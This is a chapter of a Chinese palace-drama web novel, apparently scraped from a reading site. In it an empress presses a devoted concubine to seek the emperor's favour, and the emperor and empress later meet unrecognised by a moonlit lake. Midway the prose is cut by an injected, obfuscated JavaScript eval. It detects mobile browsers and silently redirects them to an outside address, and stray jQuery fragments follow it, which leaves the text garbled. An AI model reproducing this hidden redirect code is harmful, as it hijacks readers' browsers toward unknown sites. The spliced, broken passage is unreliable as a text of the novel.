经此一事后,怡清宫里消停了不少,嘉贵妃也没动静了,整个后宫风清气爽的,十分安宁。
这事罪责虽然全由裴恩予承担了,没有落到嘉贵妃头上,嘉贵妃就只担了点冒犯皇后之责,但她好像也规矩了许多。
甚至都不派人去沈奉那里说头疼了。
她一是被皇后震慑住了,二是心虚,生怕皇上会追究她的过错,到时候她这贵妃的头衔能不能保得住还不一定呢。
沈奉对此也十分满意,这样大家就都清静了。
冯婞又开始积极安排后宫妃嫔们侍寝,希望她们的肚子争点气。
陈贵人一天不落,天天来中宫请安侍奉,冯婞道:“你也不用天天来找我,你把这时间和精力放在皇上身上,争取早日得男,母凭子贵才是。这样,今天晚上就由你来侍寝。”
陈贵人张了张口,看起来并没有非常高兴,而是道:“这样的机会,皇后还是留给其他的姐妹吧。”
冯婞见她无欲无求,问:“为何?”
陈贵人笑了笑,道:“经历过上次那样的事后,臣妾已经看开了,圣宠什么的都不重要了。”
冯婞给她画饼:“圣宠很重要,只要你一举得男,才有机会一飞冲天,说不定到时候还能晋升妃位。”
可陈贵人不吃:“妃不妃位的,臣妾也不在意了。”
冯婞:“不,你必须在意,这是后宫的女人们所为之奋斗一生的事业。”
陈贵人:“臣妾这条命都是皇后救回来的,臣妾就只愿常日里陪伴皇后左右,能时时见到皇后,能为皇后做些什么就很知足了。只要看见皇后高兴,臣妾就很高兴;见不到皇后,臣妾就好像缺了点什么心里空落落的。”
顿了顿,陈贵人又小声道:“臣妾现在感觉反而对侍寝,没什么兴趣了。无非就是那样。”
冯婞:“……”
冯婞道:“可我现在感觉你这样的想法有点危险。”
陈贵人道:“皇后贵为六宫之首,待后宫众**度宽厚,不仅帮衬我们还保护我们,亦有雷霆之手段收拾歹人还后宫一片清明,想让人不敬佩都难。”
冯婞劝道:“听话,还是多想想怎么获得圣宠,争取早日怀上子嗣。”
陈贵人走后,摘桃若有所思道:“她对皇后,就仅仅是敬佩吗?”
折柳道:“我听着是恨不得对皇后以身相许。”
冯婞咂道:“我要是行我自己上了,还有皇上什么事。”
这子嗣问题她自己就能解决了。
是夜,冯婞本来安排陈贵人侍寝的,可陈贵人居然心生排斥,不仅不好生准备,还跑到中宫来了,说是来与皇后作伴。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15435316|169285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
冯婞没见她,自个偷偷溜出来,在流芳湖边逛园子去了。
这后宫里的女人,不想着怎么爬龙床,一点斗志都没有怎么能行。
而沈奉,在听说今晚皇后给他安排了个贵人侍寝以后,也出来溜达逛园子了。
自从嘉贵妃消停以后,他又不用去怡清宫了,哪里还用得着拿后宫其他女人来打掩护。别说是侍寝了,就是跟后宫女人坐在一起纯聊天他都懒得应付。
于是两人逛着逛着,在某处湖边狭路相逢。
今晚当空月色皎洁,湖上风平浪静。
冯婞能很清楚地看见沈奉那张脸,当然沈奉也能看清楚她的。
一时间两人都不约而同地停下了脚步。
说来以往每次会面都是刻意安排在黑漆漆不点灯的晚上,白天的时候又很有默契地拒绝打照面,以至于而今面对面就出现个问题。
冯婞不知道他就是皇帝,而沈奉也不知道她就是皇后。
两人又穿的是常服。
冯婞还以为,又是哪个世家纨绔子弟夜里逗留后宫,怎么皇帝的后宫有这么好玩吗?
不过他这张脸……她不免盯着多看了两眼,却是比裴家儿子高级了好几个等级。
果然还是这上京的水土养人,养出来的儿郎比天上的月亮还温润皎洁。